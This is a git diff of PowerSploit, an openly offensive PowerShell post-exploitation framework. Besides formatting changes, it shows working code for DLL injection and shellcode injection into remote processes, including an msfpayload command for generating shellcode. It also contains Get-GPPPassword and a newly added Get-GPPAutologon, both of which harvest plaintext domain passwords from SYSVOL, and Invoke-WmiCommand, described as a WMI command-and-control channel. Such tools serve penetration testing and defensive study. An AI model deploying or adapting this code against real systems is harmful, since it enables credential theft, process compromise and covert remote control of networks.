until ($BytesLeft -eq 0)
$WriteStream.Close()
$WriteStream.Dispose()
#Create a Read Buffer and Stream.
#Note: The Filestream class takes advantage of internal .NET Buffering. We set the default internal buffer to 64KB per http://research.microsoft.com/pubs/64538/tr-2004-136.doc.
[Byte[]] $ReadBuffer=New-Object byte[] $BufferLen
[System.IO.FileStream] $ReadStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::Read, $BufferLen)
#write out the calculated number of binaries
[Int32] $i = 0
for ($i -eq 0; $i -lt $ResultNumber + 1 ; $i++)
{
# If this is the Final Binary, use $EndBytes, Otherwise calculate based on the Interval
if ($i -eq $ResultNumber) {[Int32]$SplitByte = $EndByte}
else {[Int32] $SplitByte = (($StartByte) + (($Interval) * ($i)))}
Write-Verbose "Byte 0 -> $($SplitByte)"
#Reset ReadStream to beginning of file
$ReadStream.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null
#Build a new FileStream for Writing
[String] $outfile = Join-Path $OutPath "$($FileName)_$($SplitByte).bin"
[System.IO.FileStream] $WriteStream = New-Object System.IO.FileStream($outfile, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None, $BufferLen)
[Int32] $BytesLeft = $SplitByte
Write-Verbose "$($WriteStream.name)"
#Write Buffer Length to the Writing Stream until the bytes left is smaller than the buffer
while ($BytesLeft -gt $BufferLen){
[Int32]$count = $ReadStream.Read($ReadBuffer, 0, $BufferLen)
$WriteStream.Write($ReadBuffer, 0, $count)
$BytesLeft = $BytesLeft - $count
}
Write-Verbose "Files written to disk. Flushing memory."
$ReadStream.Dispose()
#During testing using large binaries, memory usage was excessive so lets fix that
[System.GC]::Collect()
Write-Verbose "Completed!"
#Write the remaining bytes to the file
do {
[Int32]$count = $ReadStream.Read($ReadBuffer, 0, $BytesLeft)
$WriteStream.Write($ReadBuffer, 0, $count)
$BytesLeft = $BytesLeft - $count
}
until ($BytesLeft -eq 0)
$WriteStream.Close()
$WriteStream.Dispose()
}
Write-Verbose "Files written to disk. Flushing memory."
$ReadStream.Dispose()
#During testing using large binaries, memory usage was excessive so lets fix that
[System.GC]::Collect()
Write-Verbose "Completed!"
}
+33 -27
View File
@@ -5,15 +5,19 @@ function Invoke-DllInjection
Injects a Dll into the process ID of your choosing.
PowerSploit Function: Invoke-DllInjection
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
PowerSploit Function: Invoke-DllInjection
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Invoke-DllInjection injects a Dll into an arbitrary process.
It does this by using VirtualAllocEx to allocate memory the size of the
DLL in the remote process, writing the names of the DLL to load into the
remote process spacing using WriteProcessMemory, and then using RtlCreateUserThread
to invoke LoadLibraryA in the context of the remote process.
.PARAMETER ProcessID
@@ -40,6 +44,8 @@ Use the '-Verbose' option to print detailed information.
http://www.exploit-monday.com
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param (
[Parameter( Position = 0, Mandatory = $True )]
[Int]
@@ -59,7 +65,7 @@ http://www.exploit-monday.com
{
Throw "Process does not exist!"
}
# Confirm that the path to the dll exists
try
{
@@ -79,11 +85,11 @@ http://www.exploit-monday.com
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
@@ -98,7 +104,7 @@ http://www.exploit-monday.com
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
@@ -107,11 +113,11 @@ http://www.exploit-monday.com
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
@@ -128,7 +134,7 @@ http://www.exploit-monday.com
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
@@ -142,43 +148,43 @@ http://www.exploit-monday.com
[String]
$Path
)
# Parse PE header to see if binary was compiled 32 or 64-bit
$FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)
[Byte[]] $MZHeader = New-Object Byte[](2)
$FileStream.Read($MZHeader,0,2) | Out-Null
$Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)
if ($Header -ne 'MZ')
{
$FileStream.Close()
Throw 'Invalid PE header.'
}
# Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header)
$FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null
[Byte[]] $lfanew = New-Object Byte[](4)
# Read offset to the PE Header (will be read in reverse)
$FileStream.Read($lfanew,0,4) | Out-Null
$PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join ''))
$PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | ForEach-Object { $_.ToString('X2') } ) -join ''))
# Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
$FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null
[Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2)
# Read compiled architecture
$FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null
$Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '')
$Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | ForEach-Object { $_.ToString('X2') } ) -join '')
$FileStream.Close()
if (($Architecture -ne '014C') -and ($Architecture -ne '8664'))
{
Throw 'Invalid PE header or unsupported architecture.'
}
if ($Architecture -eq '014C')
{
Write-Output 'X86'
@@ -193,7 +199,7 @@ http://www.exploit-monday.com
}
}
# Get addresses of and declare delegates for essential Win32 functions.
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
@@ -307,7 +313,7 @@ http://www.exploit-monday.com
{
Throw "Unable to launch remote thread. NTSTATUS: 0x$($Result.ToString('X8'))"
}
$VirtualFreeEx.Invoke($hProcess, $RemoteMemAddr, $Dll.Length, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
# Close process handle
@@ -317,7 +323,7 @@ http://www.exploit-monday.com
# Extract just the filename from the provided path to the dll.
$FileName = (Split-Path $Dll -Leaf).ToLower()
$DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.ToLower().Contains($FileName) }
$DllInfo = (Get-Process -Id $ProcessID).Modules | Where-Object { $_.FileName.ToLower().Contains($FileName) }
if (!$DllInfo)
{
File diff suppressed because it is too large Load Diff
+68 -63
View File
@@ -5,22 +5,22 @@ function Invoke-Shellcode
Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.
PowerSploit Function: Invoke-Shellcode
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
PowerSploit Function: Invoke-Shellcode
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary.
.PARAMETER ProcessID
Process ID of the process you want to inject shellcode into.
@@ -35,7 +35,7 @@ Injects shellcode without prompting for confirmation. By default, Invoke-Shellco
.EXAMPLE
C:\PS> Invoke-Shellcode -ProcessId 4274
Invoke-Shellcode -ProcessId 4274
Description
-----------
@@ -43,7 +43,7 @@ Inject shellcode into process ID 4274.
.EXAMPLE
C:\PS> Invoke-Shellcode
Invoke-Shellcode
Description
-----------
@@ -51,27 +51,32 @@ Inject shellcode into the running instance of PowerShell.
.EXAMPLE
C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
Description
-----------
Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
#>
[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
[ValidateNotNullOrEmpty()]
[UInt16]
$ProcessID,
[Parameter( ParameterSetName = 'RunLocal' )]
[ValidateNotNullOrEmpty()]
[Byte[]]
$Shellcode,
[Switch]
$Force = $False
)
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[CmdletBinding( DefaultParameterSetName = 'RunLocal', ConfirmImpact = 'High')]
Param (
[ValidateNotNullOrEmpty()]
[UInt16]
$ProcessID,
[Parameter( ParameterSetName = 'RunLocal' )]
[ValidateNotNullOrEmpty()]
[Byte[]]
$Shellcode,
[Switch]
$Force = $False
)
Set-StrictMode -Version 2.0
@@ -81,17 +86,17 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
# This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
}
function Local:Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
@@ -106,7 +111,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
@@ -115,11 +120,11 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
@@ -136,7 +141,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
@@ -151,12 +156,12 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
$LittleEndianByteArray = New-Object Byte[](0)
$Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
[System.Array]::Reverse($LittleEndianByteArray)
Write-Output $LittleEndianByteArray
}
$CallStub = New-Object Byte[](0)
if ($IntSizePtr -eq 8)
{
[Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode
@@ -177,7 +182,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
$CallStub += 0xFF,0xD0 # CALL EAX
}
Write-Output $CallStub
}
@@ -185,7 +190,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
{
# Open a handle to the process you want to inject into
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
if (!$hProcess)
{
Throw "Unable to open a process handle for PID: $ProcessID"
@@ -197,7 +202,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
{
# Determine if the process specified is 32 or 64 bit
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
if ((!$IsWow64) -and $PowerShell32bit)
{
Throw 'Shellcode injection targeting a 64-bit process from 32-bit PowerShell is not supported. Use the 64-bit version of Powershell if you want this to work.'
@@ -208,7 +213,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
}
$Shellcode = $Shellcode32
Write-Verbose 'Injecting into a Wow64 process.'
Write-Verbose 'Using 32-bit shellcode.'
@@ -219,7 +224,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
{
Throw 'No shellcode was placed in the $Shellcode64 variable!'
}
$Shellcode = $Shellcode64
Write-Verbose 'Using 64-bit shellcode.'
}
@@ -230,19 +235,19 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
}
$Shellcode = $Shellcode32
Write-Verbose 'Using 32-bit shellcode.'
}
# Reserve and commit enough memory in remote process to hold the shellcode
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$RemoteMemAddr)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
# Copy shellcode into the previously allocated memory
@@ -255,25 +260,25 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
{
# Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
Write-Verbose 'Emitting 32-bit assembly call stub.'
}
else
{
# Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
# Allocate inline assembly stub
$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$RemoteStubAddr)
{
Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
}
Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"
# Write 32-bit assembly stub to remote process memory space
@@ -281,7 +286,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
# Execute shellcode as a remote thread
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw "Unable to launch remote thread in PID: $ProcessID"
@@ -301,7 +306,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
Throw 'No shellcode was placed in the $Shellcode32 variable!'
return
}
$Shellcode = $Shellcode32
Write-Verbose 'Using 32-bit shellcode.'
}
@@ -312,36 +317,36 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
Throw 'No shellcode was placed in the $Shellcode64 variable!'
return
}
$Shellcode = $Shellcode64
Write-Verbose 'Using 64-bit shellcode.'
}
# Allocate RWX memory for the shellcode
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$BaseAddress)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
# Copy shellcode to RWX buffer
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
# Get address of ExitThread function
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($PowerShell32bit)
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
Write-Verbose 'Emitting 32-bit assembly call stub.'
}
else
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
@@ -351,7 +356,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
{
Throw "Unable to allocate thread call stub."
}
Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
# Copy call stub to RWX buffer
@@ -366,7 +371,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
# Wait for shellcode thread to terminate
$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
$VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
$VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
@@ -477,9 +482,9 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
Write-Verbose "Injecting shellcode into PID: $ProcessId"
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
{
@@ -501,13 +506,13 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
Write-Verbose "Injecting shellcode into PowerShell"
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
"Injecting shellcode into the running PowerShell process!" ) )
{
Inject-LocalShellcode
}
}
}
}
+7 -4
View File
@@ -5,10 +5,10 @@ function Invoke-WmiCommand {
Executes a PowerShell ScriptBlock on a target computer using WMI as a
pure C2 channel.
Author: Matthew Graeber
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
Author: Matthew Graeber
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
@@ -149,6 +149,9 @@ Write-Host in your scripts though, you probably don't deserve to get
the output of your payload back. :P
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingInvokeExpression', '')]
[CmdletBinding()]
Param (
[Parameter( Mandatory = $True )]
+2 -1
View File
@@ -31,6 +31,7 @@ FunctionsToExport = '*'
FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1',
'Invoke-NinjaCopy.ps1', 'Invoke-TokenManipulation.ps1', 'Invoke-CredentialInjection.ps1',
'VolumeShadowCopyTools.ps1', 'Get-VaultCredential.ps1', 'Get-VaultCredential.ps1xml'
'VolumeShadowCopyTools.ps1', 'Get-VaultCredential.ps1', 'Get-VaultCredential.ps1xml',
'Get-MicrophoneAudio.ps1', 'Get-GPPAutologon.ps1'
}
+139
View File
@@ -0,0 +1,139 @@
function Get-GPPAutologon
{
<#
.SYNOPSIS
Retrieves password from Autologon entries that are pushed through Group Policy Registry Preferences.
PowerSploit Function: Get-GPPAutologon
Author: Oddvar Moe (@oddvarmoe)
Based on Get-GPPPassword by Chris Campbell (@obscuresec) - Thanks for your awesome work!
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-GPPAutologn searches the domain controller for registry.xml to find autologon information and returns the username and password.
.EXAMPLE
PS C:\> Get-GPPAutolgon
UserNames File Passwords
--------- ---- ---------
{administrator} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {PasswordsAreLam3}
{NormalUser} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {ThisIsAsupaPassword}
.EXAMPLE
PS C:\> Get-GPPAutologon | ForEach-Object {$_.passwords} | Sort-Object -Uniq
password
password12
password123
password1234
password1234$
read123
Recycling*3ftw!
.LINK
https://support.microsoft.com/nb-no/kb/324737
#>
[CmdletBinding()]
Param ()
#Some XML issues between versions
Set-StrictMode -Version 2
#define helper function to parse fields from xml files
function Get-GPPInnerFields
{
[CmdletBinding()]
Param (
$File
)
try
{
$Filename = Split-Path $File -Leaf
[xml] $Xml = Get-Content ($File)
#declare empty arrays
$Password = @()
$UserName = @()
#check for password and username field
if (($Xml.innerxml -like "*DefaultPassword*") -and ($Xml.innerxml -like "*DefaultUserName*"))
{
$props = $xml.GetElementsByTagName("Properties")
foreach($prop in $props)
{
switch ($prop.name)
{
'DefaultPassword'
{
$Password += , $prop | Select-Object -ExpandProperty Value
}
'DefaultUsername'
{
$Username += , $prop | Select-Object -ExpandProperty Value
}
}
Write-Verbose "Potential password in $File"
}
#put [BLANK] in variables
if (!($Password))
{
$Password = '[BLANK]'
}
if (!($UserName))
{
$UserName = '[BLANK]'
}
#Create custom object to output results
$ObjectProperties = @{'Passwords' = $Password;
'UserNames' = $UserName;
'File' = $File}
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
Write-Verbose "The password is between {} and may be more than one value."
if ($ResultsObject)
{
Return $ResultsObject
}
}
}
catch {Write-Error $Error[0]}
}
try {
#ensure that machine is domain joined and script is running as a domain account
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
throw 'Machine is not a domain member or User is not a member of the domain.'
}
#discover potential registry.xml containing autologon passwords
Write-Verbose 'Searching the DC. This could take a while.'
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Registry.xml'
if ( -not $XMlFiles ) {throw 'No preference files found.'}
Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
foreach ($File in $XMLFiles) {
$Result = (Get-GppInnerFields $File.Fullname)
Write-Output $Result
}
}
catch {Write-Error $Error[0]}
}
+291 -163
View File
@@ -2,222 +2,350 @@ function Get-GPPPassword {
<#
.SYNOPSIS
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
PowerSploit Function: Get-GPPPassword
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
PowerSploit Function: Get-GPPPassword
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
.PARAMETER Server
Specify the domain controller to search for.
Default's to the users current domain
.PARAMETER SearchForest
Map all reaschable trusts and search all reachable SYSVOLs.
.EXAMPLE
PS C:\> Get-GPPPassword
NewName : [BLANK]
Changed : {2014-02-21 05:28:53}
Passwords : {password12}
UserNames : {test1}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml
Get-GPPPassword
NewName : {mspresenters}
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
Passwords : {Recycling*3ftw!, password123, password1234}
UserNames : {Administrator (built-in), DummyAccount, dummy2}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
NewName : [BLANK]
Changed : {2014-02-21 05:28:53}
Passwords : {password12}
UserNames : {test1}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml
NewName : [BLANK]
Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
Passwords : {password, password1234$}
UserNames : {administrator, admin}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
NewName : {mspresenters}
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
Passwords : {Recycling*3ftw!, password123, password1234}
UserNames : {Administrator (built-in), DummyAccount, dummy2}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
NewName : [BLANK]
Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
Passwords : {password, read123}
UserNames : {DEMO\Administrator, admin}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
NewName : [BLANK]
Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
Passwords : {password, password1234$}
UserNames : {administrator, admin}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
NewName : [BLANK]
Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
Passwords : {password, read123}
UserNames : {DEMO\Administrator, admin}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
.EXAMPLE
PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
password
password12
password123
password1234
password1234$
read123
Recycling*3ftw!
Get-GPPPassword -Server EXAMPLE.COM
NewName : [BLANK]
Changed : {2014-02-21 05:28:53}
Passwords : {password12}
UserNames : {test1}
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml
NewName : {mspresenters}
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
Passwords : {Recycling*3ftw!, password123, password1234}
UserNames : {Administrator (built-in), DummyAccount, dummy2}
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml
.EXAMPLE
Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
password
password12
password123
password1234
password1234$
read123
Recycling*3ftw!
.LINK
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[CmdletBinding()]
Param ()
#Some XML issues between versions
Set-StrictMode -Version 2
#define helper function that decodes and decrypts password
Param (
[ValidateNotNullOrEmpty()]
[String]
$Server = $Env:USERDNSDOMAIN,
[Switch]
$SearchForest
)
# define helper function that decodes and decrypts password
function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
[string] $Cpassword
)
try {
#Append appropriate padding based on string length
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
